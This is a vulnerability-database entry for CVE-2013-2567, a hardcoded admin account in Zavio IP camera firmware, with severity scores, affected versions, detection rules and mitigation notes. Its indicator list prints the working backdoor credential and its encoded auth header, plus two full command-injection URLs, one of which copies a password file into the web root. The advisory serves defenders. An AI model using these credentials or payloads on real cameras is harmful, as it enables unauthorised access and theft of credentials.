CVE-2013-2567

published 2020-01-29

CVE-2013-2567: An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which…

Priority P2 61 high 7.5 CVSS 3.1

AV N AC L PR N UI N S U C H I N A N

EXPLOIT

An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which lets a remote malicious user obtain sensitive information.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
zavio	f3105_firmware	<= 1.6.03	—
zavio	f312a_firmware	<= 1.6.03	—

Detection & IOCs extracted from sources · hover to see the quote

other username: manufacture / password: erutcafunam↗

path /cgi-bin/mft/manufacture.cgi↗

url http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales↗

path /var/www/secret.passwd↗

path /opt/cgi/view/param↗

url http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off↗

filename boa.conf↗

command /sbin/awpriv ra0 get_site_survey↗

• → Detect HTTP requests to /cgi-bin/mft/wireless_mft or /cgi-bin/mft/manufacture.cgi authenticated with the hardcoded credential 'manufacture:erutcafunam' (Basic Auth header: bWFudWZhY3R1cmU6ZXJ1dGNhZnVuYW0=) ↗
• → Detect HTTP GET/POST requests to '/cgi-bin/mft/wireless_mft' containing semicolons in the 'ap' parameter, indicating OS command injection attempts ↗
• → Detect HTTP requests to '/cgi-bin/admin/param' where the 'General.Time.NTP.Server' parameter contains semicolons or shell metacharacters, indicating post-auth OS command injection ↗

• · The hardcoded 'manufacture' account is not visible from the user web interface and cannot be removed by end users; it is baked into boa.conf on the device firmware ↗
• · RTSP authentication is disabled by default on affected Zavio firmware, making the live video stream accessible without credentials ↗
• · No vendor patch was released; Zavio did not respond to five disclosure attempts. Mitigation relies on network-level controls (firewall, HTTP proxy filtering manufacture.cgi and wireless_mft.cgi) ↗

CVSS provenance

nvd v3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

nvd v2.0 5.0 MEDIUM AV:N/AC:L/Au:N/C:P/I:N/A:N

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-798